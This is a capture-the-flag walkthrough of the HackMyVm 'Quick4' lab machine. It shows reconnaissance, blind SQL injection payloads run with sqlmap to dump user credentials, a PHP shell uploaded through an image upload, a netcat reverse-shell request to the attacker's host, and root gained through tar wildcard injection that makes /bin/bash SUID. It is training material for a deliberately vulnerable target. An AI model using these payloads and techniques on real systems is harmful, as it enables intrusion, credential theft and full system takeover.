Try   HackMD

Walkthrough HackMyVm - Quick4

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Here I will make a writeup of the Quick4 machine on the HackMyVm platform and this is an easy rated VM, if you are interested you can click the link here. Let's start.

Reconnaissance

As always the first thing i do is port scanning. At this point, rustscan find two open ports that is SSH (22) and HTTP (80).

$ rustscan -a 192.168.1.43 -- -A -sC -sV -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.1.43:22
Open 192.168.1.43:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-12 01:01 EDT

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2e7a1f1757446f7ff9ceaba14fcdc719 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPw/57IwrzzYv7y9g3oCqiCqUmaOBmmLJyZE1iWqMH79gcziH5n9oWXErHh4nMVOw/99WYvN+v8vhFWfUK9pAsI=
|   256 937ed6c9035ba1ee1d54d0f0270f13eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILHIfODTU2kHh2eDs9+Y+WWGaX2WZC5Vx/V4NY0LTBAs
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin/
|_http-title: Quick Automative - Home
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website

Here is how the landing page of the ip looks when opened.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Just like the previous machine, there are login and register forms for customers.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Directory Brute Force

Next I tried to brute force the directory using feroxbuster.

$ feroxbuster -u http://192.168.1.43                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.43
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent             │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       53l      337w     5014c http://192.168.1.43/admin
404      GET       53l      337w     5014c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      313c http://192.168.1.43/images => http://192.168.1.43/images/
301      GET        9l       28w      314c http://192.168.1.43/modules => http://192.168.1.43/modules/
301      GET        9l       28w      310c http://192.168.1.43/lib => http://192.168.1.43/lib/
200      GET        8l       81w     5070c http://192.168.1.43/img/testimonial-4.jpg
200      GET      110l      199w     2634c http://192.168.1.43/js/main.js
200      GET        1l       38w     2302c http://192.168.1.43/lib/easing/easing.min.js
200      GET      212l     1357w    96664c http://192.168.1.43/img/team-4.jpg
200      GET      142l      763w    53453c http://192.168.1.43/img/team-3.jpg
200      GET      594l     2389w   196240c http://192.168.1.43/img/carousel-2.png
200      GET        6l     3782w   164091c http://192.168.1.43/css/bootstrap.mini.css
200      GET        7l      279w    42766c http://192.168.1.43/lib/owlcarousel/owl.carousel.min.js
200      GET      113l      664w    51120c http://192.168.1.43/img/team-8.jpg
200      GET      156l      883w    75050c http://192.168.1.43/img/about.jpg
301      GET        9l       28w      309c http://192.168.1.43/js => http://192.168.1.43/js/
301      GET        9l       28w      315c http://192.168.1.43/customer => http://192.168.1.43/customer/
301      GET        9l       28w      312c http://192.168.1.43/fonts => http://192.168.1.43/fonts/
301      GET        9l       28w      310c http://192.168.1.43/css => http://192.168.1.43/css/
301      GET        9l       28w      314c http://192.168.1.43/careers => http://192.168.1.43/careers/
301      GET        9l       28w      315c http://192.168.1.43/employee => http://192.168.1.43/employee/
301      GET        9l       28w      310c http://192.168.1.43/img => http://192.168.1.43/img/
200      GET        1l     6490w   326657c http://192.168.1.43/lib/tempusdominus/js/moment.min.js
200      GET        3l      148w     8156c http://192.168.1.43/lib/wow/wow.min.js
200      GET      836l     4210w   339858c http://192.168.1.43/img/carousel-bg-1.jpg
200      GET     1015l     5133w   398043c http://192.168.1.43/img/carousel-bg-2.jpg
200      GET       11l       56w     2406c http://192.168.1.43/lib/counterup/counterup.min.js
200      GET        6l       64w     2936c http://192.168.1.43/lib/owlcarousel/assets/owl.carousel.min.css
200      GET        6l       80w     5378c http://192.168.1.43/img/testimonial-2.jpg
200      GET       14l       81w     5311c http://192.168.1.43/img/testimonial-1.jpg
200      GET        5l       69w     4677c http://192.168.1.43/img/testimonial-3.jpg
200      GET      411l      775w     7510c http://192.168.1.43/css/style.css
200      GET      150l      813w    63347c http://192.168.1.43/img/team-1.jpg
200      GET      106l      676w    55217c http://192.168.1.43/img/team-7.jpg
200      GET      205l      975w    73420c http://192.168.1.43/img/service-3.jpg
200      GET        1l     1421w    32832c http://192.168.1.43/lib/tempusdominus/js/moment-timezone.min.js
200      GET      216l     1208w    95018c http://192.168.1.43/img/service-1.jpg
200      GET      583l     2509w   202516c http://192.168.1.43/img/carousel-1.png
200      GET       11l      188w    16953c http://192.168.1.43/lib/animate/animate.min.css
200      GET       69l      460w    38440c http://192.168.1.43/img/team-2.jpg
200      GET      804l     3568w    51414c http://192.168.1.43/index.html
200      GET      206l      690w     9058c http://192.168.1.43/lib/tempusdominus/css/tempusdominus-bootstrap-4.min.css
200      GET      129l      725w    56777c http://192.168.1.43/img/team-5.jpg
200      GET        7l     1022w    56879c http://192.168.1.43/lib/tempusdominus/js/tempusdominus-bootstrap-4.min.js
200      GET      314l     2467w   220000c http://192.168.1.43/img/logo.png
200      GET      116l      870w    72713c http://192.168.1.43/img/team-6.jpg
200      GET        0l        0w    30537c http://192.168.1.43/img/service-2.jpg
200      GET        0l        0w     9028c http://192.168.1.43/lib/waypoints/waypoints.min.js
200      GET        0l        0w    30278c http://192.168.1.43/img/service-4.jpg
200      GET      804l     3568w    51414c http://192.168.1.43/
301      GET        9l       28w      318c http://192.168.1.43/careers/img => http://192.168.1.43/careers/img/
301      GET        9l       28w      323c http://192.168.1.43/customer/modules => http://192.168.1.43/customer/modules/
301      GET        9l       28w      318c http://192.168.1.43/customer/js => http://192.168.1.43/customer/js/
301      GET        9l       28w      319c http://192.168.1.43/customer/css => http://192.168.1.43/customer/css/
301      GET        9l       28w      321c http://192.168.1.43/customer/fonts => http://192.168.1.43/customer/fonts/
301      GET        9l       28w      318c http://192.168.1.43/images/logo => http://192.168.1.43/images/logo/
301      GET        9l       28w      322c http://192.168.1.43/customer/images => http://192.168.1.43/customer/images/
301      GET        9l       28w      321c http://192.168.1.43/employee/fonts => http://192.168.1.43/employee/fonts/
301      GET        9l       28w      314c http://192.168.1.43/lib/wow => http://192.168.1.43/lib/wow/
301      GET        9l       28w      318c http://192.168.1.43/lib/animate => http://192.168.1.43/lib/animate/
[####################] - 4m    630089/630089  0s      found:59      errors:439092 
[####################] - 3m     30000/30000   191/s   http://192.168.1.43/ 
[####################] - 3m     30000/30000   191/s   http://192.168.1.43/images/ 
[####################] - 3m     30000/30000   182/s   http://192.168.1.43/modules/ 
[####################] - 3m     30000/30000   172/s   http://192.168.1.43/lib/ 
[####################] - 3m     30000/30000   159/s   http://192.168.1.43/js/ 
[####################] - 3m     30000/30000   164/s   http://192.168.1.43/customer/ 
[####################] - 4m     30000/30000   132/s   http://192.168.1.43/fonts/ 
[####################] - 3m     30000/30000   190/s   http://192.168.1.43/css/ 
[####################] - 3m     30000/30000   186/s   http://192.168.1.43/careers/ 
[####################] - 4m     30000/30000   130/s   http://192.168.1.43/employee/ 
[####################] - 3m     30000/30000   148/s   http://192.168.1.43/img/ 
[####################] - 3m     30000/30000   179/s   http://192.168.1.43/careers/img/ 
[####################] - 2m     30000/30000   214/s   http://192.168.1.43/images/logo/ 
[####################] - 3m     30000/30000   149/s   http://192.168.1.43/customer/images/ 
[####################] - 3m     30000/30000   146/s   http://192.168.1.43/customer/modules/ 
[####################] - 3m     30000/30000   157/s   http://192.168.1.43/customer/js/ 
[####################] - 3m     30000/30000   195/s   http://192.168.1.43/customer/css/ 
[####################] - 3m     30000/30000   175/s   http://192.168.1.43/customer/fonts/ 
[####################] - 3m     30000/30000   147/s   http://192.168.1.43/employee/fonts/ 
[####################] - 3m     30000/30000   159/s   http://192.168.1.43/lib/wow/ 
[####################] - 2m     30000/30000   302/s   http://192.168.1.43/lib/animate/                                                                        

Web Exploitation

What's interesting here is the /employee directory, which is used by employees of the company to log in. There are 3 conditions that i can conclude from the response when trying to log in.

  1. Success if the user trying to login has the role employee.
  2. Invalid user/pass if the credentials entered do not match.
  3. Redirect to the initial view if the customer role tries to login.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

When I tried to test SQL Injection on the login form with a single quote, the response was 500 Internal Server Error.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

It is concluded that the web is vulnerable to SQL Injection attacks, then we can use sqlmap to get the credentials in the target database.

$ sqlmap -r req.txt --dbms mysql --dbs
        ___
       __H__                                                                                                                                                  
 ___ ___[.]_____ ___ ___  {1.8#pip}                                                                                                                           
|_ -| . ["]     | .'| . |                                                                                                                                     
|___|_  [(]_|_|_|__,|  _|                                                                                                                                     
      |_|V...       |_|   https://sqlmap.org                                                                                                                  

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:19:04 /2024-03-12/

[01:19:04] [INFO] parsing HTTP request from 'req.txt'
[01:19:04] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.1.43/index.html'. Do you want to follow? [Y/n] n
[01:19:07] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=a@mail.com' AND (SELECT 1648 FROM (SELECT(SLEEP(5)))Pzlu) AND 'WDhY'='WDhY&password=a&submit=Login
---
[01:19:07] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[01:19:20] [INFO] confirming MySQL
[01:19:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[01:19:30] [INFO] adjusting time delay to 2 seconds due to good response times
[01:19:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 8.0.0
[01:19:30] [INFO] fetching database names
[01:19:30] [INFO] fetching number of databases
[01:19:30] [INFO] resumed: 5
[01:19:30] [INFO] resumed: mysql
[01:19:30] [INFO] resuming partial value: inf
[01:19:30] [INFO] retrieved: ormation_schema
[01:21:08] [INFO] retrieved: performance_schema
[01:23:00] [INFO] retrieved: sys
[01:23:20] [INFO] retrieved: quick
available databases [5]:
[*] quick
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

After knowing all the database names, we can then try to enumeration the tables of the quick database.

$ sqlmap -r req.txt --dbms mysql -D quick --tables  
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8#pip}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:53:08 /2024-03-13/

[04:53:08] [INFO] parsing HTTP request from 'req.txt'
[04:53:08] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.1.43/index.html'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
[04:53:12] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=a@mail.com' AND (SELECT 2005 FROM (SELECT(SLEEP(5)))pdYE) AND 'heYy'='heYy&password=a&submit=Login
---
[04:53:12] [INFO] testing MySQL
[04:53:12] [INFO] confirming MySQL
[04:53:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 8.0.0
[04:53:12] [INFO] fetching tables for database: 'quick'
[04:53:12] [INFO] fetching number of tables for database 'quick'
[04:53:12] [INFO] resumed: 2
[04:53:12] [INFO] resumed: cars
[04:53:12] [INFO] resumed: users
Database: quick
[2 tables]
+-------+
| cars  |
| users |
+-------+

Next, enumeration the columns.

$ sqlmap -r req.txt --dbms mysql -D quick -T users --columns 
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8#pip}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 05:44:17 /2024-03-13/

[05:44:17] [INFO] parsing HTTP request from 'req.txt'
[05:44:17] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.1.43/index.html'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
[05:44:20] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=a@mail.com' AND (SELECT 2005 FROM (SELECT(SLEEP(5)))pdYE) AND 'heYy'='heYy&password=a&submit=Login
---
[05:44:20] [INFO] testing MySQL
[05:44:20] [INFO] confirming MySQL
[05:44:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 8.0.0
[05:44:20] [INFO] fetching columns for table 'users' in database 'quick'
[05:44:20] [INFO] resumed: 6
[05:44:20] [INFO] resumed: id
[05:44:20] [INFO] resumed: int
[05:44:20] [INFO] resumed: email
[05:44:20] [INFO] resumed: varchar(255)
[05:44:20] [INFO] resumed: name
[05:44:20] [INFO] resumed: varchar(255)
[05:44:20] [INFO] resumed: password
[05:44:20] [INFO] resumed: varchar(255)
[05:44:20] [INFO] resumed: role
[05:44:20] [INFO] resumed: enum('admin','employee','customer')
[05:44:20] [INFO] resumed: profile_picture
[05:44:20] [INFO] resumed: varchar(255)
Database: quick
Table: users
[6 columns]
+-----------------+-------------------------------------+
| Column          | Type                                |
+-----------------+-------------------------------------+
| name            | varchar(255)                        |
| role            | enum('admin','employee','customer') |
| email           | varchar(255)                        |
| id              | int                                 |
| password        | varchar(255)                        |
| profile_picture | varchar(255)                        |
+-----------------+-------------------------------------+

There are 6 columns in the users table, we can dump the contents of these columns.

$ sqlmap -r req.txt --dbms mysql -D quick -T users -C name,role,email,password --dump

Result :
4

From the users that have been dumped, there are 3 different roles, namely :

  1. admin
  2. employee
  3. customer

Previously I tried login using credentials that had the role employee but there was nothing interesting in it. When i tried using the admin user there were several features in manage employees, such as: add employee, upload photos, reset passwords, and delete employee.
16

After checking these features one by one, a file upload vulnerability was found in the photo upload feature. There are several testing that can be used for file upload vunerability, for more details you can check this source.
10

Here I try to upload an image file by inserting a php shell in it, then changing the extension to .php.

11

Response:
12

Next, I validated by login using the user Nick Greenhorn. Then accessed where the file was uploaded.

13

Shell uploaded successfully.
14

Then just do a reverse shell and set nc to connect in our local terminal.

Request :

GET /employee/uploads/2_sukuna.php?x=busybox+nc+192.168.1.59+4444+-e+/bin/bash HTTP/1.1
Host: 192.168.1.43
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=6a6lheuaftf4ai93663lnv2e9m
Connection: close

Response :

$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.1.59] from (UNKNOWN) [192.168.1.43] 54096
python3 -c "import pty; pty.spawn('/bin/bash')"
bash-5.1$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-5.1$ 

Privilege Escalation

As usual, for privilege escalation we can just low hanging fruit. when I check crontab, there is a script file /usr/local/bin/backup.sh that is run every minute by root privileges.

www-data@quick4:/var/www/html/employee/uploads$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
*/1 *   * * *   root    /usr/local/bin/backup.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
www-data@quick4:/var/www/html/employee/uploads$ cat /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html/
tar czf /var/backups/backup-website.tar.gz *

From the contents file, we can utilize these wildcards to perform privilege escalation. a more complete explanation can be read here .

www-data@quick4:/var/www/html$ echo "chmod +s /bin/bash" > priv.sh
www-data@quick4:/var/www/html$ ls -las
total 152
 4 drwxr-xr-x 14 www-data www-data  4096 Mar 13 03:46 .
 4 drwxr-xr-x  3 root     root      4096 Jan 21 14:02 ..
 4 -rw-r--r--  1 www-data www-data  1024 Mar 13 03:45 .priv.sh.swp
 4 drwxr-xr-x  2 www-data www-data  4096 Feb  6 13:55 .well-known
 4 -rw-r--r--  1 www-data www-data   871 Jan 21 20:24 404.css
 8 -rw-r--r--  1 www-data www-data  5014 Feb  5 14:36 404.html
 4 drwxr-xr-x  3 root     root      4096 Feb  8 21:07 careers
 4 drwxr-xr-x  2 www-data www-data  4096 Jan 30 21:29 css
 4 drwxr-xr-x  7 www-data www-data  4096 Feb 12 16:05 customer
 4 drwxr-xr-x  8 root     root      4096 Feb  9 21:48 employee
 4 drwxr-xr-x  2 www-data www-data  4096 Jan 30 21:29 fonts
 4 drwxr-xr-x  5 www-data www-data  4096 Jan 22 19:59 images
 4 drwxr-xr-x  2 root     root      4096 Jan 30 21:29 img
52 -rw-r--r--  1 root     root     51414 Jan 30 22:17 index.html
 4 drwxr-xr-x  2 www-data www-data  4096 Jan 30 21:29 js
 4 drwxr-xr-x  9 root     root      4096 Jan 30 21:29 lib
20 drwxr-xr-x  2 www-data www-data 20480 Jan 22 20:00 modules
 4 -rw-r--r--  1 www-data www-data    19 Mar 13 03:46 priv.sh
 4 -rw-r--r--  1 root     root        32 Feb  6 11:34 robots.txt
 4 drwxr-xr-x  3 root     root      4096 Jan 30 21:29 scss
 4 -rw-r--r--  1 www-data www-data  4038 Dec  4 08:39 styles.css
www-data@quick4:/var/www/html$ chmod +x priv.sh
www-data@quick4:/var/www/html$ touch /var/www/html/--checkpoint=1
www-data@quick4:/var/www/html$ touch /var/www/html/--checkpoint-action=exec=sh\ priv.sh
www-data@quick4:/var/www/html$ ls -la /bin/bash
ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash

Wait for a while. You can see here that the permissions of /bin/bash have changed.

www-data@quick4:/var/www/html$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash
www-data@quick4:/var/www/html$ /bin/bash -p
bash-5.1# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-5.1# cd /root
bash-5.1# ls -als
total 56
 4 drwx------  7 root root 4096 Feb 12 16:10 .
 4 drwxr-xr-x 20 root root 4096 Jan 14 20:49 ..
 0 lrwxrwxrwx  1 root root    9 Jan 24 13:02 .bash_history -> /dev/null
 4 -rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
 4 drwx------  2 root root 4096 Jan 25 18:45 .cache
 4 -rw-------  1 root root   20 Jan 21 14:31 .lesshst
 4 drwxr-xr-x  3 root root 4096 Jan 14 21:04 .local
 4 -rw-r--r--  1 root root  161 Jul  9  2019 .profile
 4 -rw-r--r--  1 root root   66 Feb  6 11:05 .selected_editor
 4 drwx------  2 root root 4096 Jan 14 20:54 .ssh
 0 -rw-r--r--  1 root root    0 Jan 14 21:10 .sudo_as_admin_successful
 4 drwxr-xr-x  7 root root 4096 Jan 22 19:40 dash
12 -rw-------  1 root root 8740 Feb  2 14:23 root.txt
 4 drwx------  3 root root 4096 Jan 14 20:54 snap

We successfully elevated to root privileges.

Rooted!